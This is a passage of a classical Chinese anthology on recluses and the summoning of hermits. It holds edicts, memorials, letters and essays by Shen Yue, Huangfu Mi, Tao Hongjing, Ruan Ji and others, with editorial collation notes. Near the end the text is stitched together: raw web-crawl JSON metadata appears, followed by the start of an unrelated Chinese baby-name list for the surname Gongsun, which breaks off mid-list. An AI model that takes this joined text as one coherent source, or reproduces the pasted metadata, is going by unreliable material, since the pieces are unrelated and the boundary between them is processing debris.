庶 令 江 海 无 遗 . 异 人 必 至 .\n又 资 给 何 点 诏 曰 . 远 趣 高 情 . 前 王 所 贵 . 义 兼 昔 款 . 倍 用 兴 怀 . 征 士 何 点 . 居 贞 物 表 . 纵 心 尘 外 . 夷 任 之 风 . 率 由 自 远 . 往 因 素 志 . 颇 申 宴 言 . 眷 彼 子 陵 . 情 兼 惟 旧 . 昔 仲 虞 迈 俗 . 受 俸 汉 朝 . 安 道 逸 志 . 不 辞 晋 禄 . 此 盖 前 代 盛 轨 . 往 贤 所 同 . 可 详 加 资 给 . 并 出 所 . ○ 景 宋 本 梁 书 何 点 传 . 所 上 有 在 字 . 此 脱 . 曰 ○ 景 宋 本 梁 书 作 日 . 此 讹 . 契 资 须 . 太 官 别 给 . 人 高 曜 卿 . 故 事 同 垣 下 .\n【 敕 】 梁 沈 约 为 武 帝 与 谢 朏 敕 曰 . 吾 以 菲 德 . 属 当 期 运 . 鉴 与 吾 言 . 思 隆 治 道 . 而 明 不 远 烛 . 所 蔽 者 多 . 实 寄 贤 能 . 正 其 寡 闇 . 常 谓 山 林 之 志 . 上 所 宜 弘 . 激 贪 厉 薄 . 义 等 为 政 . 自 居 元 首 . 临 对 百 司 . 虽 复 执 文 经 武 . 各 修 厥 职 . 群 才 竞 爽 . 以 致 和 美 . 而 镇 风 静 俗 . 变 教 论 道 . 自 非 箕 颖 高 人 . 莫 膺 兹 寄 . 是 用 虚 心 侧 席 . 属 想 清 尘 . 不 得 不 屈 兹 独 往 . 同 此 濡 足 . 便 望 释 萝 袭 衮 . 出 野 登 朝 . 必 不 以 濩 有 惭 德 . 武 未 尽 善 . 不 降 其 身 . 不 屈 其 志 . 使 璧 帛 虚 往 . 蒲 轮 空 归 . 倾 首 东 路 . 望 兼 立 表 . 羲 轩 邈 矣 . 古 今 殊 事 . 不 获 总 驾 崆 峒 . 依 风 问 道 . 今 方 复 引 领 云 台 . 虚 己 宣 室 . 纡 贤 之 愧 . 载 结 寝 兴 .\n又 与 何 胤 敕 曰 . 吾 猥 当 期 运 . 膺 此 乐 推 . 而 顾 己 多 蔽 . 昧 于 治 道 . 虽 复 劬 劳 日 昃 . 思 致 隆 平 . 而 先 生 遗 范 . 尚 蕴 方 策 . 息 举 之 用 . 存 乎 其 人 . 兼 以 世 道 浇 暮 . 诤 诈 繁 起 . 改 俗 迁 风 . 良 有 未 易 . 自 非 以 儒 雅 弘 朝 . 高 尚 轨 物 . 则 泊 流 所 至 . 莫 知 其 限 . 治 人 之 与 治 身 . 独 善 之 与 兼 济 . 得 失 去 取 . 为 用 孰 多 . 吾 虽 不 学 . 颇 好 博 古 . 尚 想 高 尘 . 每 怀 击 节 . 今 世 务 纷 纠 . 忧 责 是 当 . 不 得 不 屈 道 岩 阿 . 共 成 世 美 . 必 望 深 达 往 怀 . 不 愆 濡 足 .\n【 教 】 江 淹 为 宋 建 平 王 聘 逸 士 教 曰 . 府 州 国 纲 纪 . 虽 周 德 之 富 . 犹 有 渔 潭 之 士 . 汉 教 之 隆 . 亦 见 西 山 之 夫 . 迹 绝 云 气 . 意 负 青 天 . 皆 待 绛 螭 骧 首 . 翠 虬 来 仪 . 是 以 清 风 扇 百 代 . 余 烈 激 后 生 . 斯 乃 王 教 之 助 . 古 人 之 意 焉 .\n【 表 】 魏 桓 范 荐 管 宁 表 曰 . 臣 闻 殷 汤 聘 伊 尹 于 畎 亩 之 中 . 周 文 进 吕 尚 于 渭 水 之 滨 . 窃 见 东 莞 管 宁 . 束 脩 着 行 . 少 有 令 称 . 州 闾 之 名 . 亚 故 太 尉 华 歆 . 遭 乱 浮 海 . 远 客 辽 东 . 于 混 浊 之 中 . 履 洁 清 之 节 . 笃 行 足 以 厉 俗 . 清 风 足 以 矫 世 . 以 箪 食 瓢 饮 . 过 于 颜 子 . 漏 屋 蔽 衣 . 逾 于 原 宪 . 臣 闻 唐 尧 宠 许 由 . 虞 舜 礼 支 父 . 夏 禹 优 伯 成 . 文 王 养 夷 齐 . 及 汉 祖 高 四 皓 之 名 . 屈 命 于 商 洛 之 野 . 史 籍 叹 述 . 以 为 美 谈 . 陛 下 绍 五 帝 之 鸿 烈 . 并 三 王 之 逸 轨 . 膺 期 受 命 . 光 昭 百 代 . 仍 有 优 崇 之 礼 . 于 大 夫 管 宁 . 宠 以 上 卿 之 位 . 荣 以 安 车 之 称 . 斯 之 为 美 . 当 在 魏 典 . 流 之 无 穷 . 明 世 之 高 士 也 . 臣 以 为 既 加 其 大 . 不 受 其 细 . 可 重 之 以 玄 纁 . 聘 之 殊 礼 矣 .\n晋 皇 甫 谧 让 征 聘 表 曰 . 臣 因 病 抽 簪 . 散 发 林 阜 . 人 纲 否 ● . 鸟 兽 为 群 . 伏 自 惟 忖 . 瓶 琐 器 . 实 非 瑚 琏 之 求 . 稊 稗 之 贱 . 不 中 粢 盛 之 用 . 小 人 致 灾 . 久 婴 笃 疾 . 仰 迫 天 威 . 不 能 淹 留 . 所 苦 加 笃 . 不 任 进 路 . 委 身 待 罪 . 伏 枕 叹 息 . 仰 惟 陛 下 . 留 神 恕 恩 . 垂 怜 微 命 . 索 隐 于 傅 岩 . 收 钓 于 渭 滨 . 无 令 泥 滓 . 久 浊 清 流 . 臣 闻 邹 子 一 叹 . 霜 为 之 降 . 杞 妻 一 感 . 城 为 大 崩 . 以 臣 况 之 . 乃 知 精 诚 不 可 以 贱 致 . 古 人 言 为 虚 也 .\n【 启 】 梁 何 胤 答 皇 太 子 启 曰 . 胤 性 爱 山 泉 . 情 笃 鱼 鸟 . 而 从 鸥 未 狎 . 入 兽 相 惊 . 兼 年 齿 衰 暮 . 荒 径 榛 梗 . 既 无 语 稼 之 客 . 宁 有 论 书 之 宾 . 缄 嘿 畎 亩 . 栖 息 丘 壑 . 秀 木 清 潭 . 于 兹 永 已 . 伏 惟 明 察 之 德 . 诞 纵 自 天 . 忠 孝 之 规 . 不 待 因 习 . 犹 复 留 神 六 经 . 降 意 百 代 . 同 仁 博 古 . 等 物 簉 闻 . 辟 承 华 而 延 儒 雅 . 埽 黄 闼 而 列 文 学 . 嘉 美 聿 宣 . 无 思 不 劝 . 胤 无 解 归 之 谈 . 屡 蒙 奖 饰 之 重 . 匪 南 皮 之 旧 . 每 荷 存 问 之 恩 . 衔 兹 污 朽 . 罔 知 攸 置 .\n又 梁 沈 约 谢 齐 竟 陵 王 教 撰 高 士 传 启 曰 . 窃 闻 高 尚 其 事 . 义 光 爻 象 . 贤 者 避 世 . 声 焕 典 坟 . 岂 徒 激 贪 勉 竞 . 澡 身 浴 德 而 已 . 尔 乃 大 弘 义 训 . 百 代 通 风 . 是 以 梁 鸿 苏 伯 . 记 远 迹 于 前 . 叔 夜 士 安 . 书 高 麈 于 后 . 虽 去 取 异 情 . 群 略 殊 轸 . 而 独 行 必 彰 . 斥 言 罔 极 . 贞 操 与 日 月 俱 悬 . 孤 芳 随 山 壑 共 远 . 明 公 得 一 含 道 . 体 二 居 宗 . 迹 屈 岩 廊 之 下 . 神 游 江 海 之 上 . 爱 奇 商 洛 . 访 美 东 都 . 盖 欲 隐 显 高 功 . 出 处 同 致 . 巢 由 与 伊 旦 并 流 . 三 辟 与 四 门 共 轨 . 肃 奉 明 规 . 思 自 罄 勖 .\n【 书 】 后 汉 张 奂 与 宋 季 文 书 曰 . 揽 手 迹 . 知 遂 遵 南 山 之 志 . 继 四 贤 之 踪 . 时 止 则 止 . 时 行 则 行 . 其 道 光 明 . 奂 以 鄙 固 . 少 复 道 训 . 于 今 五 十 载 矣 .\n魏 桓 范 与 管 宁 书 曰 . 凿 坏 而 处 . 养 德 显 仁 . 尧 舜 在 上 . 许 由 在 下 . 箕 山 之 志 . 于 是 复 显 . 严 平 郑 真 . 未 足 论 比 . 清 声 远 播 . 顽 鄙 慕 仰 . 思 请 见 于 蓬 庐 之 侧 . 承 训 诲 于 道 德 之 门 . 厥 涂 无 由 . 托 思 晨 风 .\n魏 管 宁 答 桓 范 书 曰 . 干 道 辅 诚 . 诞 膺 嘉 祚 . 膺 受 多 福 . 为 国 蕃 维 . 虽 分 陕 之 任 . 未 足 比 盛 . 远 近 □ 望 . 何 庆 如 之 . 昔 值 险 阻 . 越 窜 海 表 . 于 裔 历 载 . 风 纲 不 纪 . 暨 蒙 国 恩 . 还 践 旧 土 . 簿 佐 多 难 . 恒 婴 笃 疾 . 愧 使 区 区 . 展 之 无 偕 . 泛 爱 遇 隆 . 远 辱 纶 墨 . 降 尊 诱 卑 . 训 喻 过 泰 . 见 得 思 义 . 抱 以 踧 踖 . 不 胜 来 顾 . 裁 因 答 辱 .\n晋 辛 旷 与 皇 甫 谧 书 曰 . 夫 三 光 悬 象 . 式 扬 天 德 . 岳 渎 山 泽 . 广 开 地 道 . 贤 人 显 进 . 实 兴 圣 治 . 故 力 牧 佐 黄 . 而 涿 鹿 之 征 捷 . 舜 禹 翼 唐 . 而 滔 天 之 灾 殄 . 阿 衡 在 商 . 而 成 汤 之 功 着 . 姜 望 入 周 . 而 文 武 之 业 建 . 圣 人 光 济 四 海 . 欲 垂 大 化 者 . 莫 不 收 才 取 良 . 而 致 股 肱 . 忠 贤 大 才 之 人 . 愿 立 名 迹 . 思 在 利 见 大 人 . 而 主 圣 时 治 . 此 所 以 应 天 顺 民 之 神 龟 . 利 涉 大 川 之 元 吉 . 大 晋 合 天 地 之 中 和 . 经 日 月 之 重 光 . 四 目 视 其 明 . 四 聪 达 其 听 . 岩 穴 出 其 隐 . 四 门 启 其 蒙 . 登 高 阳 之 八 子 . 御 高 辛 之 群 龙 . 俊 才 在 官 . 时 亮 天 工 . 鸟 兽 非 君 子 之 俦 . 九 皋 无 长 鸣 之 鹤 . 万 国 黎 献 . 咸 仰 南 风 之 仁 . 而 抱 圣 化 之 隆 . 此 其 至 治 也 . 而 先 生 固 执 冲 虚 . 塞 渊 其 心 . 殉 文 人 之 耿 介 . 忘 宣 尼 之 所 沽 . 步 幽 山 之 穷 径 . 背 汉 津 之 明 衢 . 日 月 遂 往 . 时 不 我 须 . 此 惜 寸 阴 者 之 所 以 为 惧 . 而 临 川 者 之 所 怀 慨 也 . 窃 谓 先 生 降 匪 石 于 高 冈 . 回 羽 仪 于 皇 京 . 顺 震 惊 而 翔 抚 . 奋 六 翮 于 天 庭 . 邈 禹 稷 之 遐 踪 . 骋 大 往 之 夷 涂 . 招 不 世 之 洪 勋 . 同 先 哲 之 丕 模 . 使 瞻 仰 者 所 以 藉 之 美 也 . 希 藉 人 六 义 之 一 . 献 斯 一 篇 . 惟 蒙 采 览 .\n又 与 皇 甫 谧 书 曰 . 伏 惟 先 生 . 黄 中 通 理 . 经 纶 稽 古 . 既 好 斯 文 . 述 而 不 作 . 将 迈 卜 商 于 洙 泗 之 上 . 超 董 生 于 儒 林 之 首 . 含 光 烈 于 千 载 之 前 . 吐 英 声 于 万 世 之 后 . 亦 以 盛 矣 . 旷 以 不 敏 . 感 佩 厚 惠 . 愿 附 骥 尾 . 抚 尘 而 游 . 谘 睹 未 因 . 而 西 望 延 企 .\n晋 皇 甫 谧 答 辛 旷 书 曰 . 闻 服 有 素 . 委 心 无 量 . 加 昔 州 壤 . 通 门 旧 仪 . 虚 想 之 积 . 过 于 陵 阜 . 泛 爱 不 遗 . 猥 降 德 音 . 清 喻 烂 焕 . 情 义 款 笃 . 执 诲 欣 然 . 若 飨 太 牢 . 抱 佩 至 眷 . 铭 乎 心 膂 . 且 箕 山 之 叟 . 超 迹 于 尧 帝 之 世 . 首 阳 之 老 . 抗 操 于 有 周 之 隆 . 故 能 名 奋 百 代 . 使 闻 之 厉 节 . 皆 经 圣 明 之 论 . 所 以 邈 世 卓 时 者 也 . 至 于 鄙 薄 . 才 顽 行 秽 . 疾 夺 其 志 . 神 迷 其 心 . 因 托 虚 静 . 遂 窃 美 选 . 圣 上 仁 聪 . 亮 其 辛 苦 . 每 自 陈 诉 . 辄 见 宽 放 . 虽 大 君 有 命 . 实 小 人 勿 用 也 . 匪 敢 盘 桓 . 疾 与 荣 竞 . 巾 车 顺 命 . 非 劣 惫 所 堪 也 . 密 云 虽 兴 . 知 枯 木 难 植 . 昔 人 有 言 . 欲 之 必 为 之 辞 . 岂 来 惠 之 谓 矣 . 猥 承 告 示 . 欲 备 七 十 . 木 非 梧 桐 . 岂 敢 栖 凤 . 闻 命 悚 灼 . 如 蹈 春 冰 . 非 苟 崇 谦 . 实 惧 陷 坠 . 幸 恕 不 假 . 明 亮 志 心 .\n梁 昭 明 太 子 与 何 胤 书 曰 . 园 公 道 胜 . 汉 盈 屈 节 . 春 卿 明 经 . 汉 庄 北 面 . 况 乃 义 兼 乎 此 . 而 顾 揆 不 肖 哉 . 但 经 途 千 里 . 眇 焉 莫 因 . 何 尝 不 梦 姑 胥 而 郁 陶 . 想 具 区 而 杼 轴 . 心 往 形 留 . 于 兹 有 年 载 矣 . 方 今 朱 明 在 谢 . 清 风 戒 寒 . 想 摄 养 得 宜 . 与 时 休 适 . 耽 精 义 . 味 玄 理 . 息 嚣 尘 . 玩 泉 石 . 激 扬 硕 学 . 诱 接 后 进 . 志 与 秋 天 竞 高 . 理 与 春 泉 争 溢 . 乐 可 言 乎 . 乐 可 言 乎 . 岂 与 口 厌 刍 豢 . 耳 聆 丝 竹 者 之 娱 . 同 年 语 哉 . 方 今 泰 阶 端 平 . 天 下 无 事 . 修 日 养 夕 . 差 得 从 容 . 每 钻 阅 六 经 . 泛 滥 百 氏 . 研 寻 物 理 . 顾 略 清 言 . 既 以 自 慰 . 且 以 自 警 . 而 才 性 有 限 . 思 力 匪 长 . 热 疾 愦 其 神 . 风 眩 弊 其 体 . 多 惭 过 目 . 释 卷 便 忘 . 是 以 蒙 求 之 怀 . 于 兹 弥 轸 .\n梁 任 昉 为 昭 明 太 子 答 何 胤 书 曰 . 得 书 . 知 便 远 追 疏 董 . 超 然 高 蹈 . 虽 朝 旨 殷 勤 . 而 轻 桌 已 远 . 供 践 莫 申 . 瞻 言 增 慨 . 善 保 嘉 猷 . 比 致 音 息 . 怀 人 望 古 . 潸 怅 久 之 . 又 为 庾 杲 之 与 刘 居 士 虬 书 曰 . 自 别 荆 南 . 迄 将 二 纪 . 杲 之 牵 滞 形 有 . 推 迁 物 保 . 丈 人 没 志 外 身 . 超 然 独 善 . 虽 心 路 咫 尺 . 而 事 阻 山 河 . 悠 悠 白 云 . 依 然 有 道 . 金 凉 伫 运 . 想 恒 纳 宜 . 冲 明 在 襟 . 履 候 无 爽 . 体 道 为 用 . 蹈 理 则 和 . 杲 之 牵 缀 疲 朽 . 愧 心 已 多 . 访 德 则 山 林 窅 然 . 观 道 则 风 云 自 远 . 岁 暮 之 期 . 指 涂 衡 岳 . 神 虚 气 懋 . 无 待 怡 和 . 江 湖 相 望 . 安 事 行 李 . 司 徒 竟 陵 王 . 懋 于 神 者 . 言 象 所 绝 . 接 乎 士 者 . 遐 迩 所 宗 . 钟 石 非 礼 乐 之 本 . 缨 褐 岂 朝 野 之 谓 . 想 闇 投 之 怀 . 不 以 形 体 为 阻 . 一 日 通 籍 梁 邸 . 亲 奉 话 言 . 梦 想 清 尘 . 为 岁 已 积 . 以 大 人 非 羔 雁 所 荣 . 故 息 蒲 币 之 典 . 胜 寄 冥 运 . 谅 有 风 期 之 迟 . 君 王 卜 居 郊 郭 . 荣 ○ 全 梁 文 四 十 三 作 萦 . 带 川 阜 . 显 不 绚 功 . 晦 不 摽 迹 . 从 容 乎 人 野 之 间 . 以 穷 二 者 之 致 . 且 弘 护 为 心 . 广 孚 真 俗 . 思 闻 系 表 . 共 剖 众 心 . 妙 域 筵 山 河 . 虚 馆 带 川 涘 . 实 望 贲 然 . 少 酬 侧 迟 . 昔 东 平 乐 善 . 旌 君 大 于 东 合 . 今 王 爱 素 . 致 吾 子 于 西 山 . 岂 不 盛 欤 . 百 龄 飘 骤 . 凝 滞 自 物 . 千 载 一 朝 . 为 仁 由 己 . 且 凌 雪 戒 涂 . 非 灭 迹 之 郊 . 鸿 钟 在 御 . 岂 销 声 之 道 . 已 摽 异 人 之 迹 . 故 有 同 物 之 劳 . 夫 山 水 无 情 . 应 之 以 会 . 爱 闲 在 我 . 触 目 萧 条 . 衡 岳 何 亲 . 钟 岭 何 薄 . 想 弘 思 有 在 . 不 俟 繁 言 .\n梁 刘 孝 标 与 宋 玉 山 元 思 书 曰 . 驱 马 金 张 之 馆 . 飞 盖 许 史 之 庐 . 习 匡 鼎 之 说 诗 . 骋 谷 云 之 雕 篆 . 宾 徒 波 涌 . 舆 轮 靡 息 . 当 是 时 也 . 乐 可 言 哉 . 然 静 思 夫 君 . 愀 焉 轸 叹 . 何 则 . 方 凿 圆 枘 . 锄 铻 难 从 . 翔 鸟 游 鱼 . 蹉 跎 不 狎 . 是 以 贾 生 怀 琬 琰 而 挫 翮 . 冯 子 握 玙 璠 而 锻 羽 . 夫 ○ 全 梁 文 五 十 七 作 天 . 诞 英 逸 . 独 擅 民 秀 . 心 贞 筠 箭 . 德 润 珪 璋 . 信 人 ○ 全 梁 文 人 下 空 二 字 . 有 脱 文 . 水 镜 . 一 性 之 镕 范 . 而 荆 南 雅 曲 . 高 音 鲜 和 . 河 西 名 骥 . 灭 没 谁 赏 . 故 若 先 生 者 . 进 有 三 难 . 退 有 三 乐 . 窃 观 先 生 . 未 能 鸿 翔 鸾 起 . 腾 霞 跻 汉 . 将 由 囿 空 桑 麻 . 田 无 负 郭 . 俛 眉 翕 肩 . 以 斯 故 尔 . 今 贤 弟 宾 从 . 抗 鳞 奋 翼 . 或 衣 绣 江 塘 . 或 鸣 驺 洛 渚 . 连 骑 方 驱 . 击 钟 乃 食 . 萼 跗 若 是 . 吾 子 复 何 忧 哉 . 唯 当 纂 两 仲 之 微 迹 . 袭 二 疏 之 风 流 . 生 与 渔 父 同 僖 . 死 葬 要 离 墓 侧 . 金 石 可 碎 . 声 华 无 寂 . 斯 道 坦 坦 . 先 生 幸 其 勖 与 .\n又 陶 弘 景 答 谢 中 书 曰 . 山 川 之 美 . 古 来 共 谈 . 高 峰 入 云 . 清 流 见 底 . 两 岸 石 壁 . 五 色 交 晖 . 青 林 翠 竹 . 四 时 俱 备 . 晓 雾 将 歇 . 猿 鸟 乱 鸣 . 夕 日 欲 颓 . 沉 鳞 竞 跃 . 实 是 欲 界 之 仙 都 . 自 康 乐 以 来 . 未 复 有 能 与 其 奇 者 .\n又 答 虞 仲 书 曰 . 栖 六 翮 于 荆 枝 . 望 绮 云 于 青 汉 者 . 有 日 于 兹 矣 . 而 春 华 来 被 . 草 石 开 鲜 . 辞 动 情 端 . 志 交 衿 曲 . 信 知 邻 德 之 谈 . 无 虚 往 牍 . 夫 子 虽 迹 躔 朱 合 . 而 心 期 岱 岭 . 岂 但 散 发 乎 高 岫 . 以 将 飞 霜 于 绝 谷 . 良 为 钦 哉 . 野 人 幸 得 托 形 崇 阜 . 息 影 长 林 . 每 对 月 流 叹 . 临 风 轸 慨 . 徒 事 累 可 豁 . 而 发 容 难 待 . 自 非 齐 生 死 于 一 致 者 . 孰 不 心 热 者 乎 . 举 世 悠 悠 . 孰 云 同 此 . 傥 遇 知 己 . 相 与 共 忧 . 朅 来 虞 公 . 兹 焉 可 迈 . 何 为 栖 栖 . 空 劳 鼓 缶 . 迨 及 暇 日 . 有 事 还 童 . 不 亦 皎 洁 当 年 . 而 无 忸 前 修 也 .\n又 答 赵 英 才 书 曰 . 子 架 学 区 中 . 飞 才 甸 外 . 不 肯 埽 门 觅 仕 . 复 懒 弹 铗 求 通 . 故 偃 蹇 园 巷 . 从 容 郊 邑 . 昔 所 谓 傲 宾 者 . 此 其 是 乎 . 岩 下 鄙 人 . 守 一 介 之 志 . 非 敢 蔑 荣 嗤 俗 . 自 致 云 霞 . 盖 任 性 灵 而 直 往 . 保 无 用 以 得 闲 . 垄 薪 井 汲 . 乐 有 余 欢 . 切 松 煮 术 . 此 外 何 务 . 然 亦 以 天 地 栋 宇 . 万 物 同 于 一 化 . 死 生 善 恶 之 能 闻 .\n梁 沈 约 答 沈 麟 士 书 曰 . 独 往 之 业 . 虽 闻 前 载 . 高 尘 逸 轨 . 罕 或 共 时 . 未 尝 不 拊 兴 怀 . 望 古 遐 瞩 . 尊 贤 拔 俗 . 遥 然 沉 冥 . 自 远 幽 贞 之 操 . 义 高 篆 策 . 虽 蒋 诩 不 窥 城 市 . 郑 真 名 动 京 师 . 何 远 之 有 . 名 山 既 乡 内 所 丰 . 清 川 又 坐 卧 可 对 . 不 出 户 庭 . 而 与 禽 尚 齐 美 哉 . 约 少 不 自 涯 . 早 爱 虫 鸟 . 逐 食 推 迁 . 未 谐 夙 愿 . 冀 幽 期 可 托 . 克 全 素 履 . 与 尊 弋 钓 泉 皋 . 以 慰 闲 暮 . 则 生 平 之 心 . 于 此 遂 矣 .\n梁 王 僧 孺 与 陈 居 士 书 曰 . 云 波 遥 敻 . 燕 越 数 千 . 行 云 郁 术 . 征 禽 难 使 . 用 隔 巾 车 . 未 能 搦 札 . 引 领 南 望 . 怅 矣 心 飞 . 幸 因 劣 薄 . 怀 章 贵 壤 . 依 然 谷 口 . 觉 子 真 之 咫 尺 . 静 睇 岩 滩 . 信 子 陵 之 非 远 . 林 鹿 以 入 虚 白 之 室 . 用 披 蓬 蒿 之 径 . 禀 纷 纶 之 高 论 . 承 希 微 之 妙 旨 . 虚 往 实 归 . 用 袪 尘 惑 .\n孔 德 璘 ○ 按 当 作 璋 . 北 山 移 文 曰 . 钟 山 之 英 . 草 堂 之 灵 .\n【 论 】 魏 阮 籍 达 庄 论 曰 . 天 道 贵 顺 . 地 道 贵 贞 . 圣 人 修 之 . 以 建 其 名 . 吉 凶 有 分 . 是 非 有 经 . 务 利 高 势 . 恶 死 重 生 . 故 天 下 安 而 大 功 成 也 . 今 庄 子 周 . 乃 齐 祸 福 而 一 死 生 . 以 天 地 为 一 物 . 以 万 类 为 一 指 . 无 乃 徼 惑 以 失 真 . 而 自 以 为 诚 者 也 . 于 是 先 生 乃 抚 琴 容 与 . 慨 然 而 叹 . 俛 而 微 笑 . 仰 而 流 盻 . 嘘 精 神 . 言 其 所 见 . 天 地 名 焉 . 天 地 者 有 内 . 故 万 物 生 焉 . 当 其 无 外 . 谁 谓 异 乎 . 当 其 有 内 . 谁 谓 殊 乎 . 地 沉 其 燥 . 天 抗 其 湿 . 月 东 出 . 日 西 入 . 故 曰 . 自 其 异 者 视 之 . 则 肝 胆 楚 越 矣 . 自 其 同 者 视 之 . 则 万 物 一 体 也 . 以 生 言 之 . 则 物 无 不 寿 . 推 之 以 死 . 则 物 无 不 夭 . 自 小 视 之 . 则 万 物 莫 不 小 . 由 大 观 之 . 则 万 物 莫 不 大 . 殇 子 为 寿 . 彭 祖 为 夭 . 秋 毫 为 大 . 泰 山 为 小 . 故 以 死 生 为 一 贯 . 是 非 为 一 条 也 . 夫 至 人 者 . 恬 于 生 而 静 于 死 . 恬 生 则 不 惑 . 死 静 则 神 不 离 生 . 故 能 与 阴 阳 化 而 不 易 . 从 天 地 变 而 不 移 . 生 究 其 寿 . 死 终 其 宜 . 心 气 平 治 . 消 息 不 亏 . 故 求 得 者 丧 . 争 明 者 失 . 无 欲 者 自 足 . 空 虚 者 受 实 . 是 以 作 智 造 巧 者 害 于 物 . 明 是 考 非 者 危 其 身 . 脩 饰 以 显 洁 者 惑 于 生 . 畏 死 而 崇 生 者 失 其 贞 .\n晋 石 崇 许 巢 论 曰 . 客 有 问 于 余 曰 . 昔 许 由 巢 父 . 距 尧 之 让 . 逍 遥 颐 神 . 宝 己 贵 世 . 司 马 迁 以 假 托 之 言 . 必 无 此 实 . 窃 以 为 然 . 余 答 之 曰 . 是 何 言 欤 . 盖 闻 圣 人 在 位 . 则 群 材 必 举 . 官 才 任 能 . 轻 重 允 宜 . 大 任 已 备 . 则 不 抑 大 材 使 居 小 位 . 小 材 已 极 其 分 . 则 不 以 积 久 而 合 处 过 材 之 位 . 然 则 稷 播 嘉 谷 . 契 敷 五 教 . 皋 陶 夔 龙 . 各 已 授 职 . 其 联 属 之 官 . 必 得 其 材 . 则 必 不 重 载 兼 置 . 斯 可 知 也 . 巢 许 则 元 恺 之 俦 . 大 位 已 充 . 则 宜 敦 廉 让 以 励 俗 . 崇 无 为 以 化 世 . 然 后 动 静 之 教 备 . 隐 显 之 功 着 . 故 能 成 巍 巍 之 化 . 民 莫 能 名 . 将 何 疑 焉 .\n晋 庾 阐 郭 先 生 神 论 曰 . 夫 天 地 者 . 阴 阳 之 形 魄 . 变 化 者 . 万 物 之 游 魂 . 神 籁 与 无 穷 并 吹 . 大 冶 与 造 运 齐 根 . 生 资 聚 气 之 迹 . 死 寄 玄 牝 之 门 . 视 荣 辱 其 犹 尘 埃 . 邈 高 尚 而 不 顾 . 故 能 外 安 恬 逸 . 内 体 平 和 . 鸣 鸟 可 拊 翼 而 游 . 猛 兽 可 顿 羁 而 罗 . 矧 乎 樵 岩 之 乐 . 吕 梁 之 波 . 疾 雷 破 岳 . 而 忧 在 山 河 者 乎 . 观 夫 郭 先 生 之 为 体 也 . 可 谓 含 真 履 信 . 纯 朴 自 然 .\n晋 王 叔 之 遂 隐 论 曰 . 崇 退 儒 生 . 问 于 抱 朴 丈 人 曰 . 请 问 隐 何 为 者 也 而 生 . 上 古 徇 之 . 至 今 继 踵 . 何 哉 . 丈 人 曰 . 夫 全 朴 之 道 . 万 物 一 气 . 三 极 湛 然 . 天 人 无 际 . 岂 有 朝 野 之 别 . 隐 显 之 端 哉 . 则 夫 隐 者 . 于 己 失 者 也 . 平 原 既 开 . 风 流 散 漫 . 故 隐 者 所 以 全 其 真 素 . 养 其 浩 然 之 气 也 .\n宋 范 晔 逸 民 传 论 曰 . 尧 称 则 天 . 而 不 屈 颖 阳 之 高 .\n梁 沈 约 七 贤 论 曰 . 嵇 生 是 上 智 之 人 . 值 无 妄 之 日 . 神\n才 高 杰 . 故 为 世 道 所 莫 容 . 风 邈 挺 特 . 荫 映 于 天 下 . 言\n理 吐 论 . 一 时 所 莫 能 参 . 属 马 氏 执 国 . 欲 以 智 计 倾 皇 祚\n. 诛 锄 胜 己 . 靡 或 有 遗 . 玄 伯 太 初 之 徒 . 并 出 嵇 生 之 流\n. 咸 已 就 戮 . 嵇 审 于 此 时 . 非 自 免 之 运 . 若 登 朝 进 仕 .\n映 迈 当 时 . 则 受 祸 之 速 . 过 于 旋 踵 . 自 非 霓 裳 羽 带 . 无\n用 自 全 . 故 始 以 饵 术 黄 精 . 终 于 假 涂 托 化 . 阮 公 才 器 宏\n广 . 亦 非 衰 世 所 容 . 但 容 貌 风 神 . 不 及 叔 夜 . 求 免 世 难\n. 如 为 有 涂 . 若 率 其 恒 仪 . 同 物 俯 仰 . 迈 群 独 秀 . 亦 不\n为 二 马 所 安 . 故 毁 行 废 礼 . 以 秽 其 德 . 崎 岖 人 世 . 仅 然\n后 全 . 仲 容 年 齿 . 不 齿 不 悬 . 风 力 粗 可 . 慕 李 文 ○\n疑 当 作 季 父 . 风 尚 . 景 而 行 之 . 彼 嵇 阮 二 生 . 志 存\n保 己 . 既 托 其 迹 . 宜 慢 其 形 . 慢 形 之 具 . 非 酒 莫 可 . 故\n引 满 终 日 . 陶 兀 尽 年 . 酒 之 为 用 . 非 可 独 酌 . 宜 须 用 侣\n. 然 后 成 欢 . 刘 伶 酒 性 既 深 . 子 期 又 是 饮 客 . 山 王 二 公\n. 悦 风 而 至 . 相 与 莫 逆 . 把 臂 高 林 . 徒 得 其 游 . 故 于 野\n泽 . 衔 杯 举 樽 之 致 . 寰 中 妙 趣 . 固 冥 然 不 睹 矣 . 自 嵇 阮\n之 外 . 山 向 五 人 . 止 是 风 流 器 度 . 不 为 世 匠 所 骇 . 且 人\n本 含 情 . 情 性 宜 有 所 托 慰 . 悦 当 年 隐 . ○\n句 有 讹 . 萧 散 怀 抱 . 非 五 人 之 与 . 其 谁 与 哉 .","id":"","dump":"CC-MAIN-2016-18","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl006.htm","date":"2016-05-02T12:34:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461863599979.27\/warc\/CC-MAIN-20160428171319-00080-ip-10-239-7-51.ec2.internal.warc.gz","language":"lzh","language_score":0.9309305549,"language_script":"Hani","minhash_cluster_size":27,"top_langs":"{\"lzh_Hani_score\": 0.9309305548667908, \"nan_Hani_score\": 0.0458192378282547, \"cmn_Hani_score\": 0.023248732089996338}","num_words":68937,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.588,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"姓公孫的好聽的男孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓公孫的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓公孫的好聽的男孩名字!\n姓公孫的好聽的男孩名字\n公孫桂昌 公孫讜廳 公孫海江 公孫宇竹 公孫嘉晨 公孫傢樂 公孫華亮 公孫慕楓 公孫龍祥 公孫澤軒 公孫雨煙 公孫環雨 公孫夕幻 公孫國慶 公孫志 公孫振毅 公孫傢沃 公孫相竹 公孫宏揚 公孫善鋈 公孫懶蟲 公孫子力 公孫鑰 公孫為煜 公孫紅暉 公孫珂 公孫薪治 公孫東嶽 公孫保根 公孫隨然 公孫也佳 公孫華鋒 公孫培舜 公孫曉焓 公孫韻煬 公孫佳衍 公孫樂謠 公孫崴霆 公孫保燁 公孫士安 公孫書名 公孫振武 公孫玉傑 公孫純洲 公孫虹樹 公孫湫沂 公孫男 公孫德鶴 